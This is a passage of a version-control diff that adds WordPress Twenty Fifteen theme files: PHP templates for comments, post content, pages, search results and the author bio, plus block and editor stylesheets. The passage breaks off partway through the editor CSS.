+		<p class="author-bio">
+			<?php the_author_meta( 'description' ); ?>
+			<a class="author-link" href="<?php echo esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ); ?>" rel="author">
+				<?php printf( __( 'View all posts by %s', 'twentyfifteen' ), get_the_author() ); ?>
+			</a>
+		</p><!-- .author-bio -->
+
+	</div><!-- .author-description -->
+</div><!-- .author-info -->
Index: /tags/5.0.20/src/wp-content/themes/twentyfifteen/comments.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfifteen/comments.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfifteen/comments.php	(revision 56912)
@@ -0,0 +1,74 @@
+<?php
+/**
+ * The template for displaying comments
+ *
+ * The area of the page that contains both current comments
+ * and the comment form.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+
+/*
+ * If the current post is protected by a password and
+ * the visitor has not yet entered the password we will
+ * return early without loading the comments.
+ */
+if ( post_password_required() ) {
+	return;
+}
+?>
+
+<div id="comments" class="comments-area">
+
+	<?php if ( have_comments() ) : ?>
+		<h2 class="comments-title">
+			<?php
+				$comments_number = get_comments_number();
+				if ( '1' === $comments_number ) {
+					/* translators: %s: post title */
+					printf( _x( 'One thought on &ldquo;%s&rdquo;', 'comments title', 'twentyfifteen' ), get_the_title() );
+				} else {
+					printf(
+						/* translators: 1: number of comments, 2: post title */
+						_nx(
+							'%1$s thought on &ldquo;%2$s&rdquo;',
+							'%1$s thoughts on &ldquo;%2$s&rdquo;',
+							$comments_number,
+							'comments title',
+							'twentyfifteen'
+						),
+						number_format_i18n( $comments_number ),
+						get_the_title()
+					);
+				}
+			?>
+		</h2>
+
+		<?php twentyfifteen_comment_nav(); ?>
+
+		<ol class="comment-list">
+			<?php
+				wp_list_comments( array(
+					'style'       => 'ol',
+					'short_ping'  => true,
+					'avatar_size' => 56,
+				) );
+			?>
+		</ol><!-- .comment-list -->
+
+		<?php twentyfifteen_comment_nav(); ?>
+
+	<?php endif; // have_comments() ?>
+
+	<?php
+		// If comments are closed and there are comments, let's leave a little note, shall we?
+		if ( ! comments_open() && get_comments_number() && post_type_supports( get_post_type(), 'comments' ) ) :
+	?>
+		<p class="no-comments"><?php _e( 'Comments are closed.', 'twentyfifteen' ); ?></p>
+	<?php endif; ?>
+
+	<?php comment_form(); ?>
+
+</div><!-- .comments-area -->
Index: /tags/5.0.20/src/wp-content/themes/twentyfifteen/content-link.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfifteen/content-link.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfifteen/content-link.php	(revision 56912)
@@ -0,0 +1,60 @@
+<?php
+/**
+ * The template for displaying link post formats
+ *
+ * Used for both single and index/archive/search.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<?php twentyfifteen_post_thumbnail(); ?>
+
+	<header class="entry-header">
+		<?php
+			if ( is_single() ) :
+				the_title( sprintf( '<h1 class="entry-title"><a href="%s">', esc_url( twentyfifteen_get_link_url() ) ), '</a></h1>' );
+			else :
+				the_title( sprintf( '<h2 class="entry-title"><a href="%s">', esc_url( twentyfifteen_get_link_url() ) ), '</a></h2>' );
+			endif;
+		?>
+	</header>
+	<!-- .entry-header -->
+
+	<div class="entry-content">
+		<?php
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading %s', 'twentyfifteen' ),
+				the_title( '<span class="screen-reader-text">', '</span>', false )
+			) );
+
+			wp_link_pages( array(
+				'before'      => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentyfifteen' ) . '</span>',
+				'after'       => '</div>',
+				'link_before' => '<span>',
+				'link_after'  => '</span>',
+				'pagelink'    => '<span class="screen-reader-text">' . __( 'Page', 'twentyfifteen' ) . ' </span>%',
+				'separator'   => '<span class="screen-reader-text">, </span>',
+			) );
+		?>
+	</div>
+	<!-- .entry-content -->
+
+	<?php
+		// Author bio.
+		if ( is_single() && get_the_author_meta( 'description' ) ) :
+			get_template_part( 'author-bio' );
+		endif;
+	?>
+
+	<footer class="entry-footer">
+		<?php twentyfifteen_entry_meta(); ?>
+		<?php edit_post_link( __( 'Edit', 'twentyfifteen' ), '<span class="edit-link">', '</span>' ); ?>
+	</footer>
+	<!-- .entry-footer -->
+
+</article><!-- #post-## -->
Index: /tags/5.0.20/src/wp-content/themes/twentyfifteen/content-none.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfifteen/content-none.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfifteen/content-none.php	(revision 56912)
@@ -0,0 +1,37 @@
+<?php
+/**
+ * The template part for displaying a message that posts cannot be found
+ *
+ * Learn more: {@link https://codex.wordpress.org/Template_Hierarchy}
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+?>
+
+<section class="no-results not-found">
+	<header class="page-header">
+		<h1 class="page-title"><?php _e( 'Nothing Found', 'twentyfifteen' ); ?></h1>
+	</header><!-- .page-header -->
+
+	<div class="page-content">
+
+		<?php if ( is_home() && current_user_can( 'publish_posts' ) ) : ?>
+
+			<p><?php printf( __( 'Ready to publish your first post? <a href="%1$s">Get started here</a>.', 'twentyfifteen' ), esc_url( admin_url( 'post-new.php' ) ) ); ?></p>
+
+		<?php elseif ( is_search() ) : ?>
+
+			<p><?php _e( 'Sorry, but nothing matched your search terms. Please try again with some different keywords.', 'twentyfifteen' ); ?></p>
+			<?php get_search_form(); ?>
+
+		<?php else : ?>
+
+			<p><?php _e( 'It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps searching can help.', 'twentyfifteen' ); ?></p>
+			<?php get_search_form(); ?>
+
+		<?php endif; ?>
+
+	</div><!-- .page-content -->
+</section><!-- .no-results -->
Index: /tags/5.0.20/src/wp-content/themes/twentyfifteen/content-page.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfifteen/content-page.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfifteen/content-page.php	(revision 56912)
@@ -0,0 +1,37 @@
+<?php
+/**
+ * The template used for displaying page content
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<?php
+		// Post thumbnail.
+		twentyfifteen_post_thumbnail();
+	?>
+
+	<header class="entry-header">
+		<?php the_title( '<h1 class="entry-title">', '</h1>' ); ?>
+	</header><!-- .entry-header -->
+
+	<div class="entry-content">
+		<?php the_content(); ?>
+		<?php
+			wp_link_pages( array(
+				'before'      => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentyfifteen' ) . '</span>',
+				'after'       => '</div>',
+				'link_before' => '<span>',
+				'link_after'  => '</span>',
+				'pagelink'    => '<span class="screen-reader-text">' . __( 'Page', 'twentyfifteen' ) . ' </span>%',
+				'separator'   => '<span class="screen-reader-text">, </span>',
+			) );
+		?>
+	</div><!-- .entry-content -->
+
+	<?php edit_post_link( __( 'Edit', 'twentyfifteen' ), '<footer class="entry-footer"><span class="edit-link">', '</span></footer><!-- .entry-footer -->' ); ?>
+
+</article><!-- #post-## -->
Index: /tags/5.0.20/src/wp-content/themes/twentyfifteen/content-search.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfifteen/content-search.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfifteen/content-search.php	(revision 56912)
@@ -0,0 +1,37 @@
+<?php
+/**
+ * The template part for displaying results in search pages
+ *
+ * Learn more: {@link https://codex.wordpress.org/Template_Hierarchy}
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<?php twentyfifteen_post_thumbnail(); ?>
+
+	<header class="entry-header">
+		<?php the_title( sprintf( '<h2 class="entry-title"><a href="%s" rel="bookmark">', esc_url( get_permalink() ) ), '</a></h2>' ); ?>
+	</header><!-- .entry-header -->
+
+	<div class="entry-summary">
+		<?php the_excerpt(); ?>
+	</div><!-- .entry-summary -->
+
+	<?php if ( 'post' == get_post_type() ) : ?>
+
+		<footer class="entry-footer">
+			<?php twentyfifteen_entry_meta(); ?>
+			<?php edit_post_link( __( 'Edit', 'twentyfifteen' ), '<span class="edit-link">', '</span>' ); ?>
+		</footer><!-- .entry-footer -->
+
+	<?php else : ?>
+
+		<?php edit_post_link( __( 'Edit', 'twentyfifteen' ), '<footer class="entry-footer"><span class="edit-link">', '</span></footer><!-- .entry-footer -->' ); ?>
+
+	<?php endif; ?>
+
+</article><!-- #post-## -->
Index: /tags/5.0.20/src/wp-content/themes/twentyfifteen/content.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfifteen/content.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfifteen/content.php	(revision 56912)
@@ -0,0 +1,60 @@
+<?php
+/**
+ * The default template for displaying content
+ *
+ * Used for both single and index/archive/search.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<?php
+		// Post thumbnail.
+		twentyfifteen_post_thumbnail();
+	?>
+
+	<header class="entry-header">
+		<?php
+			if ( is_single() ) :
+				the_title( '<h1 class="entry-title">', '</h1>' );
+			else :
+				the_title( sprintf( '<h2 class="entry-title"><a href="%s" rel="bookmark">', esc_url( get_permalink() ) ), '</a></h2>' );
+			endif;
+		?>
+	</header><!-- .entry-header -->
+
+	<div class="entry-content">
+		<?php
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading %s', 'twentyfifteen' ),
+				the_title( '<span class="screen-reader-text">', '</span>', false )
+			) );
+
+			wp_link_pages( array(
+				'before'      => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentyfifteen' ) . '</span>',
+				'after'       => '</div>',
+				'link_before' => '<span>',
+				'link_after'  => '</span>',
+				'pagelink'    => '<span class="screen-reader-text">' . __( 'Page', 'twentyfifteen' ) . ' </span>%',
+				'separator'   => '<span class="screen-reader-text">, </span>',
+			) );
+		?>
+	</div><!-- .entry-content -->
+
+	<?php
+		// Author bio.
+		if ( is_single() && get_the_author_meta( 'description' ) ) :
+			get_template_part( 'author-bio' );
+		endif;
+	?>
+
+	<footer class="entry-footer">
+		<?php twentyfifteen_entry_meta(); ?>
+		<?php edit_post_link( __( 'Edit', 'twentyfifteen' ), '<span class="edit-link">', '</span>' ); ?>
+	</footer><!-- .entry-footer -->
+
+</article><!-- #post-## -->
Index: /tags/5.0.20/src/wp-content/themes/twentyfifteen/css/blocks.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfifteen/css/blocks.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfifteen/css/blocks.css	(revision 56912)
@@ -0,0 +1,662 @@
+/*
+Theme Name: Twenty Fifteen
+Description: Used to style blocks.
+*/
+
+/*--------------------------------------------------------------
+>>> TABLE OF CONTENTS:
+----------------------------------------------------------------
+1.0 General Block Styles
+2.0 Blocks - Common Blocks
+3.0 Blocks - Formatting
+4.0 Blocks - Layout Elements
+5.0 Blocks - Widgets
+6.0 Blocks - Colors
+--------------------------------------------------------------*/
+
+/*--------------------------------------------------------------
+1.0 General Block Styles
+--------------------------------------------------------------*/
+
+/* Captions */
+
+[class^="wp-block-"] figcaption {
+	color: #707070;
+	font-family: "Noto Sans", sans-serif;
+	font-size: 12px;
+	line-height: 1.5;
+	margin-bottom: 0;
+	padding: 0.5em 0;
+}
+
+@media screen and (min-width: 46.25em) {
+	[class^="wp-block-"] figcaption {
+		font-size: 14px;
+	}
+}
+
+@media screen and (min-width: 55em) {
+	[class^="wp-block-"] figcaption {
+		font-size: 16px;
+	}
+}
+
+@media screen and (min-width: 59.6875em) {
+	[class^="wp-block-"] figcaption {
+		font-size: 12px;
+	}
+}
+
+@media screen and (min-width: 68.75em) {
+	[class^="wp-block-"] figcaption {
+		font-size: 14px;
+	}
+}
+
+@media screen and (min-width: 77.5em) {
+	[class^="wp-block-"] figcaption {
+		font-size: 16px;
+	}
+}
+
+/* Alignments */
+
+[class^="wp-block-"].alignleft,
+[class^="wp-block-"] .alignleft {
+	margin-right: 1em;
+}
+
+[class^="wp-block-"].alignright,
+[class^="wp-block-"] .alignright {
+	margin-left: 1em;
+}
+
+
+/*--------------------------------------------------------------
+2.0 Blocks - Common Blocks
+--------------------------------------------------------------*/
+
+/* Paragraph */
+
+p.has-drop-cap:not(:focus)::first-letter {
+	font-size: 5em;
+}
+
+/* Gallery */
+
+.wp-block-gallery {
+	margin-bottom: 1.6em;
+}
+
+/* Audio */
+
+.wp-block-audio audio {
+	display: block;
+	width: 100%;
+}
+
+/* Cover */
+
+.wp-block-cover-image .wp-block-cover-image-text,
+.wp-block-cover .wp-block-cover-text,
+.wp-block-cover-image h2,
+.wp-block-cover h2 {
+	font-size: 29px;
+	line-height: 1.2069;
+}
+
+/* Quote */
+
+.wp-block-quote,
+.wp-block-quote:not(.is-large):not(.is-style-large),
+[class^="wp-block-"] blockquote {
+	border-color: #707070;
+}
+
+.wp-block-quote cite,
+.wp-block-quote__citation {
+	color: #333;
+	font-family: "Noto Sans", sans-serif;
+	font-size: 15px;
+	font-style: normal;
+	line-height: 1.6;
+	text-transform: none;
+}
+
+.wp-block-quote em,
+.wp-block-quote i {
+	font-style: normal;
+}
+
+.wp-block-quote strong,
+.wp-block-quote b {
+	font-weight: 400;
+}
+
+
+@media screen and (min-width: 46.25em) {
+	.edit-post-visual-editor .wp-block-quote p {
+		font-size: 20px;
+		line-height: 1.75;
+	}
+
+	.wp-block-quote cite,
+	.wp-block-quote__citation {
+		font-size: 17px;
+		line-height: 1.6471;
+	}
+}
+
+@media screen and (min-width: 55em) {
+	.edit-post-visual-editor .wp-block-quote p {
+		font-size: 22px;
+		line-height: 1.8182;
+	}
+
+	.wp-block-quote cite,
+	.wp-block-quote__citation {
+		font-size: 19px;
+		line-height: 1.6842;
+	}
+}
+
+@media screen and (min-width: 59.6875em) {
+	.edit-post-visual-editor .wp-block-quote p {
+		font-size: 18px;
+		line-height: 1.6667;
+	}
+
+	.wp-block-quote cite,
+	.wp-block-quote__citation {
+		font-size: 15px;
+		line-height: 1.6;
+	}
+}
+
+@media screen and (min-width: 68.75em) {
+	.edit-post-visual-editor .wp-block-quote p {
+		font-size: 20px;
+		line-height: 1.75;
+	}
+
+	.wp-block-quote cite,
+	.wp-block-quote__citation {
+		font-size: 17px;
+		line-height: 1.6471;
+	}
+}
+
+@media screen and (min-width: 77.5em) {
+	.edit-post-visual-editor .wp-block-quote p {
+		font-size: 22px;
+		line-height: 1.8182;
+	}
+
+	.wp-block-quote cite,
+	.wp-block-quote__citation {
+		font-size: 19px;
+		line-height: 1.6842;
+	}
+}
+
+/* Cover Image */
+
+.wp-block-cover-image.aligncenter,
+.wp-block-cover.aligncenter,
+.wp-block-cover-image.alignleft,
+.wp-block-cover.alignleft,
+.wp-block-cover-image.alignright,
+.wp-block-cover.alignright {
+	display: flex;
+}
+
+/* File */
+
+.wp-block-file a.wp-block-file__button {
+	background-color: #333;
+	border: 0;
+	border-radius: 0;
+	color: #fff;
+	cursor: pointer;
+	font-family: "Noto Sans", sans-serif;
+	font-size: 12px;
+	font-weight: 700;
+	line-height: 1.5;
+	padding: 0.7917em 1.5em;
+	text-transform: uppercase;
+	vertical-align: baseline;
+}
+
+.wp-block-file a.wp-block-file__button:hover,
+.wp-block-file a.wp-block-file__button:focus {
+	background-color: #707070;
+	background-color: rgba(51, 51, 51, 0.7);
+	outline: 0;
+}
+
+.rtl .wp-block-file * + .wp-block-file__button {
+	margin-left: 0.75em;
+	margin-right: 0;
+}
+
+@media screen and (min-width: 46.25em) {
+	.wp-block-file a.wp-block-file__button {
+		font-size: 14px;
+		font-size: 1.4rem;
+		padding: 0.8214em 1.6429em;
+	}
+}
+
+@media screen and (min-width: 55em) {
+	.wp-block-file a.wp-block-file__button {
+		font-size: 16px;
+		font-size: 1.6rem;
+		padding: 0.8125em 1.625em;
+	}
+}
+
+@media screen and (min-width: 59.6875em) {
+	.wp-block-file a.wp-block-file__button {
+		font-size: 12px;
+		font-size: 1.2rem;
+		padding: 0.7917em 1.5833em;
+	}
+}
+
+@media screen and (min-width: 68.75em) {
+	.wp-block-file a.wp-block-file__button {
+		font-size: 14px;
+		font-size: 1.4rem;
+		padding: 0.8214em 1.5714em;
+	}
+}
+
+@media screen and (min-width: 77.5em) {
+	.wp-block-file a.wp-block-file__button {
+		font-size: 16px;
+		font-size: 1.6rem;
+		padding: 0.8125em 1.625em;
+	}
+}
+
+/*--------------------------------------------------------------
+3.0 Blocks - Formatting
+--------------------------------------------------------------*/
+
+/* Code */
+
+.wp-block-code {
+	background-color: transparent;
+	border: 0;
+	padding: 0;
+}
+
+.wp-block-code code {
+	font-family: Inconsolata, monospace;
+	font-size: inherit;
+}
+
+/* Preformatted */
+
+.wp-block-preformatted {
+	background-color: rgba(0, 0, 0, 0.01);
+	border: 1px solid #eaeaea;
+	line-height: 1.2;
+	margin-bottom: 1.6em;
+	max-width: 100%;
+	overflow: auto;
+	padding: 0.8em;
+	white-space: pre;
+	white-space: pre-wrap;
+	word-wrap: break-word;
+}
+
+/* Pullquote */
+
+.wp-block-pullquote {
+	border: 0;
+}
+
+.wp-block-pullquote blockquote {
+	border: 0;
+	margin-left: 0;
+	margin-right: 0;
+	padding-left: 0;
+	padding-right: 0;
+}
+
+.wp-block-pullquote cite {
+	color: #333;
+	font-family: "Noto Sans", sans-serif;
+	font-size: 15px;
+	font-style: normal;
+	line-height: 1.6;
+	text-transform: none;
+}
+
+@media screen and (min-width: 46.25em) {
+	.wp-block-pullquote cite {
+		font-size: 17px;
+		line-height: 1.6471;
+	}
+}
+
+@media screen and (min-width: 55em) {
+	.wp-block-pullquote cite {
+		font-size: 19px;
+		line-height: 1.6842;
+	}
+}
+
+@media screen and (min-width: 59.6875em) {
+	.wp-block-pullquote cite {
+		font-size: 15px;
+		line-height: 1.6;
+	}
+}
+
+@media screen and (min-width: 68.75em) {
+	.wp-block-pullquote cite {
+		font-size: 17px;
+		line-height: 1.6471;
+	}
+}
+
+@media screen and (min-width: 77.5em) {
+	.wp-block-pullquote cite {
+		font-size: 19px;
+		line-height: 1.6842;
+	}
+}
+
+/* Table */
+
+.wp-block-table th,
+.wp-block-table td {
+	border-color: #eaeaea;
+	border-width: 0 1px 1px 0;
+}
+
+/*--------------------------------------------------------------
+4.0 Blocks - Layout Elements
+--------------------------------------------------------------*/
+
+/* Button */
+
+.wp-block-button .wp-block-button__link {
+	cursor: pointer;
+	font-family: "Noto Sans", sans-serif;
+	font-size: 12px;
+	font-size: 1.2rem;
+	font-weight: 700;
+	line-height: 1.5;
+	padding: 0.7917em 1.5em;
+	text-transform: uppercase;
+	vertical-align: baseline;
+}
+
+.entry-content .wp-block-button:not(.is-style-outline) .wp-block-button__link {
+	border: 0;
+}
+
+.entry-content .wp-block-button.is-style-outline .wp-block-button__link:hover {
+	border-bottom: 2px solid;
+}
+
+.wp-block-button__link {
+	background-color: #333;
+	color: #fff;
+}
+
+.is-style-outline .wp-block-button__link:not(.has-text-color) {
+	color: #333;
+}
+
+.wp-block-button__link:hover,
+.wp-block-button__link:focus,
+.is-style-outline .wp-block-button__link:hover,
+.is-style-outline .wp-block-button__link:focus {
+	background-color: #707070;
+	background-color: rgba(51, 51, 51, 0.7);
+	color: #fff;
+}
+
+@media screen and (min-width: 46.25em) {
+	.wp-block-button .wp-block-button__link {
+		font-size: 14px;
+		font-size: 1.4rem;
+		padding: 0.8214em 1.6429em;
+	}
+}
+
+@media screen and (min-width: 55em) {
+	.wp-block-button .wp-block-button__link {
+		font-size: 16px;
+		font-size: 1.6rem;
+		padding: 0.8125em 1.625em;
+	}
+}
+
+@media screen and (min-width: 59.6875em) {
+	.wp-block-button .wp-block-button__link {
+		font-size: 12px;
+		font-size: 1.2rem;
+		padding: 0.7917em 1.5833em;
+	}
+}
+
+@media screen and (min-width: 68.75em) {
+	.wp-block-button .wp-block-button__link {
+		font-size: 14px;
+		font-size: 1.4rem;
+		padding: 0.8214em 1.5714em;
+	}
+}
+
+@media screen and (min-width: 77.5em) {
+	.wp-block-button .wp-block-button__link {
+		font-size: 16px;
+		font-size: 1.6rem;
+		padding: 0.8125em 1.625em;
+	}
+}
+
+/* Seperators */
+
+.wp-block-separator {
+	border: 0;
+	max-width: 100px;
+}
+
+.wp-block-separator.is-style-wide {
+	max-width: 100%;
+}
+
+/* Media & Text */
+
+.wp-block-media-text {
+	margin-bottom: 1.6em;
+}
+
+.wp-block-media-text *:last-child {
+	margin-bottom: 0;
+}
+
+/*--------------------------------------------------------------
+5.0 Blocks - Widgets
+--------------------------------------------------------------*/
+
+/* Archives, Categories & Latest Posts */
+
+.wp-block-archives.aligncenter,
+.wp-block-categories.aligncenter,
+.wp-block-latest-posts.aligncenter {
+	list-style-position: inside;
+	text-align: center;
+}
+
+/* Latest Comments */
+
+.wp-block-latest-comments {
+	margin: 0;
+}
+
+.wp-block-latest-comments__comment,
+.wp-block-latest-comments__comment-excerpt,
+.wp-block-latest-comments__comment-excerpt p {
+	font-size: inherit;
+}
+
+.wp-block-latest-comments__comment-meta a {
+	border-bottom-color: transparent;
+	font-weight: 700;
+}
+
+.wp-block-latest-comments__comment-excerpt p:last-child {
+	margin-bottom: 0;
+}
+
+.wp-block-latest-comments__comment-date {
+	color: #707070;
+	font-family: "Noto Sans", sans-serif;
+	font-size: 12px;
+	line-height: 1.5;
+	margin-bottom: 1.6em;
+}
+
+@media screen and (min-width: 46.25em) {
+	.wp-block-latest-comments__comment-date {
+		font-size: 14px;
+	}
+}
+
+@media screen and (min-width: 55em) {
+	.wp-block-latest-comments__comment-date {
+		font-size: 16px;
+	}
+}
+
+@media screen and (min-width: 59.6875em) {
+	.wp-block-latest-comments__comment-date {
+		font-size: 12px;
+	}
+}
+
+@media screen and (min-width: 68.75em) {
+	.wp-block-latest-comments__comment-date {
+		font-size: 14px;
+	}
+}
+
+@media screen and (min-width: 77.5em) {
+	.wp-block-latest-comments__comment-date {
+		font-size: 16px;
+	}
+}
+
+.wp-block-latest-comments .wp-block-latest-comments__comment {
+	border-top: 1px solid #eaeaea;
+	border-top: 1px solid rgba(51, 51, 51, 0.1);
+	margin-bottom: 0;
+	padding: 1.6em 0;
+}
+
+/*--------------------------------------------------------------
+6.0 Blocks - Colors
+--------------------------------------------------------------*/
+
+.has-dark-gray-color {
+	color: #111;
+}
+
+.has-dark-gray-background-color {
+	background-color: #111;
+}
+
+.has-light-gray-color {
+	color: #f1f1f1;
+}
+
+.has-light-gray-background-color {
+	background-color: #f1f1f1;
+}
+
+.has-white-color {
+	color: #fff;
+}
+
+.has-white-background-color {
+	background-color: #fff;
+}
+
+.has-yellow-color {
+	color: #f4ca16;
+}
+
+.has-yellow-background-color {
+	background-color: #f4ca16;
+}
+
+.has-dark-brown-color {
+	color: #352712;
+}
+
+.has-dark-brown-background-color {
+	background-color: #352712;
+}
+
+.has-medium-pink-color {
+	color: #e53b51;
+}
+
+.has-medium-pink-background-color {
+	background-color: #e53b51;
+}
+
+.has-light-pink-color {
+	color: #ffe5d1;
+}
+
+.has-light-pink-background-color {
+	background-color: #ffe5d1;
+}
+
+.has-dark-purple-color {
+	color: #2e2256;
+}
+
+.has-dark-purple-background-color {
+	background-color: #2e2256;
+}
+
+.has-purple-color {
+	color: #674970;
+}
+
+.has-purple-background-color {
+	background-color: #674970;
+}
+
+.has-blue-gray-color {
+	color: #22313f;
+}
+
+.has-blue-gray-background-color {
+	background-color: #22313f;
+}
+
+.has-bright-blue-color {
+	color: #55c3dc;
+}
+
+.has-bright-blue-background-color {
+	background-color: #55c3dc;
+}
+
+.has-light-blue-color {
+	color: #e9f2f9;
+}
+
+.has-light-blue-background-color {
+	background-color: #e9f2f9;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentyfifteen/css/editor-blocks.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfifteen/css/editor-blocks.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfifteen/css/editor-blocks.css	(revision 56912)
@@ -0,0 +1,871 @@
+/*
+Theme Name: Twenty Fifteen
+Description: Used to style blocks in the editor.
+*/
+
+/*--------------------------------------------------------------
+>>> TABLE OF CONTENTS:
+----------------------------------------------------------------
+1.0 General Typography
+2.0 General Block Styles
+3.0 Blocks - Common Blocks
+4.0 Blocks - Formatting
+5.0 Blocks - Layout Elements
+6.0 Blocks - Widgets
+--------------------------------------------------------------*/
+
+/*--------------------------------------------------------------
+1.0 General Typography
+--------------------------------------------------------------*/
+
+.edit-post-visual-editor .editor-block-list__block,
+.edit-post-visual-editor .editor-block-list__block p,
+.editor-default-block-appender textarea.editor-default-block-appender__content {
+	font-size: 15px;
+	line-height: 1.6;
+}
+
+.edit-post-visual-editor .editor-block-list__block {
+	color: #333;
+}
+
+.editor-post-title__block .editor-post-title__input {
+	color: #333;
+	font-size: 26px;
+	line-height: 1.1538;
+}
+
+.edit-post-visual-editor h1,
+.edit-post-visual-editor h2,
+.edit-post-visual-editor h3,
+.edit-post-visual-editor h4,
+.edit-post-visual-editor h5,
+.edit-post-visual-editor h6 {
+	clear: both;
+	font-weight: 700;
+}
+
+.edit-post-visual-editor .editor-block-list__block h1 {
+	font-size: 26px;
+	line-height: 1.1538;
+	padding: 0.9em 0 0.45em;
+}
+
+.edit-post-visual-editor .editor-block-list__block h2 {
+	font-size: 22px;
+	line-height: 1.3636;
+	padding: 1em 0 0.5em;
+}
+
+.edit-post-visual-editor .editor-block-list__block h3 {
+	font-size: 18px;
+	line-height: 1.3333;
+	padding: 1.3em 0 0.65em;
+}
+
+.edit-post-visual-editor .editor-block-list__block h4,
+.edit-post-visual-editor .editor-block-list__block h5,
+.edit-post-visual-editor .editor-block-list__block h6 {
+	font-size: 15px;
+	line-height: 1.2;
+	padding: 0.8em 0 0.4em;
+}
+
+.edit-post-visual-editor .editor-block-list__block h5,
+.edit-post-visual-editor .editor-block-list__block h6 {
+	letter-spacing: 0.1em;
+	text-transform: uppercase;
+}
+
+.edit-post-visual-editor > h1:first-child,
+.edit-post-visual-editor > h2:first-child,
+.edit-post-visual-editor > h3:first-child,
+.edit-post-visual-editor > h4:first-child,
+.edit-post-visual-editor > h5:first-child,
+.edit-post-visual-editor > h6:first-child {
+	padding-top: 0;
+}
+
+@media screen and (min-width: 46.25em) {
+	.edit-post-visual-editor .editor-block-list__block,
+	.edit-post-visual-editor .editor-block-list__block p,
+	.editor-default-block-appender input[type="text"].editor-default-block-appender__content {
+		font-size: 17px;
+		line-height: 1.6471;
+	}
+
+	.editor-post-title__block .editor-post-title__input {
+		font-size: 35px;
+		line-height: 1.2;
+	}
+
+	.edit-post-visual-editor .editor-block-list__block h1 {
+		font-size: 35px;
+		line-height: 1.2;
+		padding: 0.8em 0 0.4em;
+	}
+
+	.edit-post-visual-editor .editor-block-list__block h2 {
+		font-size: 29px;
+		line-height: 1.2069;
+		padding: 1.0em 0 0.5em;
+	}
+
+	.edit-post-visual-editor .editor-block-list__block h3 {
+		font-size: 24px;
+		line-height: 1.1667;
+		padding: 1.15em 0 0.6em;
+	}
+
+	.edit-post-visual-editor .editor-block-list__block h4 {
+		font-size: 20px;
+		line-height: 1.4;
+		padding: .7em 0 0.35em;
+	}
+
+	.edit-post-visual-editor .editor-block-list__block h5,
+	.edit-post-visual-editor .editor-block-list__block h6 {
+		font-size: 17px;
+		line-height: 1.2353;
+		padding: 0.8em 0 0.4em;
+	}
+}
+
+@media screen and (min-width: 55em) {
+	.edit-post-visual-editor .editor-block-list__block,
+	.edit-post-visual-editor .editor-block-list__block p,
+	.editor-default-block-appender input[type="text"].editor-default-block-appender__content {
+		font-size: 19px;
+		line-height: 1.6842;
+	}
+
+	.editor-post-title__block .editor-post-title__input {
+		font-size: 39px;
+		line-height: 1.2308;
+	}
+
+	.edit-post-visual-editor .editor-block-list__block h1 {
+		font-size: 39px;
+		line-height: 1.2308;
+		padding: 0.8em 0 0.4em;
+	}
+
+	.edit-post-visual-editor .editor-block-list__block h2 {
+		font-size: 32px;
+		line-height: 1.25;
+		padding: 1em 0 0.5em;
+	}
+
+	.edit-post-visual-editor .editor-block-list__block h3 {
+		font-size: 27px;
+		line-height: 1.1852;
+		padding: 1.2em 0 0.6em;
+	}
+
+	.edit-post-visual-editor .editor-block-list__block h4 {
+		font-size: 22px;
+		line-height: 1.4545;
+		padding: 0.75em 0 0.35em;
+	}
+
+	.edit-post-visual-editor .editor-block-list__block h5,
+	.edit-post-visual-editor .editor-block-list__block h6 {
+		font-size: 19px;
+		line-height: 1.2632;
+		padding: 0.8em 0 0.4em;
+	}
+}
+
+@media screen and (min-width: 59.6875em) {
+	.edit-post-visual-editor .editor-block-list__block,
+	.edit-post-visual-editor .editor-block-list__block p,
+	.editor-default-block-appender input[type="text"].editor-default-block-appender__content {
+		font-size: 15px;
+		line-height: 1.6;
+	}
+
+	.editor-post-title__block .editor-post-title__input {
+		font-size: 31px;
+		line-height: 1.1613;
+	}
+
+	.edit-post-visual-editor .editor-block-list__block h1 {
+		font-size: 31px;
+		line-height: 1.1613;
+		padding: 0.8em 0 0.4em;
+	}
+
+	.edit-post-visual-editor .editor-block-list__block h2 {
+		font-size: 26px;
+		line-height: 1.3846;
